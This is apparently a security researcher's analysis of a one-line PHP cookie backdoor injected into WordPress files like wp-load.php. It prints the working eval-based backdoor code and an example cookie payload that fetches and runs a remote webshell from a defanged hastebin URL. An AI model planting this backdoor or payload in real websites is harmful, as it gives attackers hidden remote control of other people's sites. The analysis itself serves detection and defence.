An attacker can inject a single line of code (under 130 characters) into a website file and then use it to load PHP web shells on your website whenever they want, but it would be invisible to anyone else viewing the website.

How is this done?

The injection can be added to any file that loads with the website, so something like wp-load.php or an active theme/plugin file would be ideal options for WordPress websites.

The injected PHP code has been included below and was beautified to make it easier to read:

if (md5($_COOKIE['woofig']) == "393c853c183af6327116dd773b8f9c11")
{
	$_COOKIE['wp_config'] .= ';';
	eval($_COOKIE['wp_config']);
	exit;
}

The malicious code’s operation is simple and just requires a request from the attacker with two separate cookies woofig and wp_config:

  1. Code checks the incoming request for a HTTP cookie with the name woofig.
  2. If it exists, then a MD5 hash value is generated from its content and compared to an existing hash value (393c853c183af6327116dd773b8f9c11). If the hashes are different, the code doesn’t proceed. It’s similar to a password.
  3. Code proceeds to check the same HTTP request for a second cookie named wp_config which contains formatted PHP code and uses eval to execute it.

HTTP cookies usually need to be under ~4096 bytes, so the attacker is limited in the number of characters they can use for their PHP code in the wp_config cookie. By default, HTTP access logs don’t log cookie data from visitors as it adds a lot of overhead to the log size, so we do not know what the attacker used.

I’ve constructed my own wp_config cookie to show how an attacker might use it. The PHP code is added as the cookie’s value:

eval(file_get_contents("hxxps://hastebin[.]com/raw/hajopeliku"))

This cookie’s PHP code will use eval to execute additional PHP code from the contents retrieved using file_get_contents on the hastebin URL.

This results in the attacker being able to selectively load the webshell through any WordPress page on the website. All the attacker has to do is add the two cookies woofig and wp_config to their request and the webshell will load running from memory and not actually stored in a file. The only malware added was a single line of PHP code to wp-load.php that performs the conditional check on cookie woofig, then evaluates the code in cookie wp_config.

Here it is in action:

I load the website without the cookies enabled and it loads a normal WordPress website page. I then use the browser tools to enable the two cookies woofig and wp_configand refresh the same page. Upon refreshing, the PHP webshell loads and I go to edit a file to demonstrate its functionality. When done, I disable the cookies and refresh the page, which returns to loading the initial normal WordPress website page.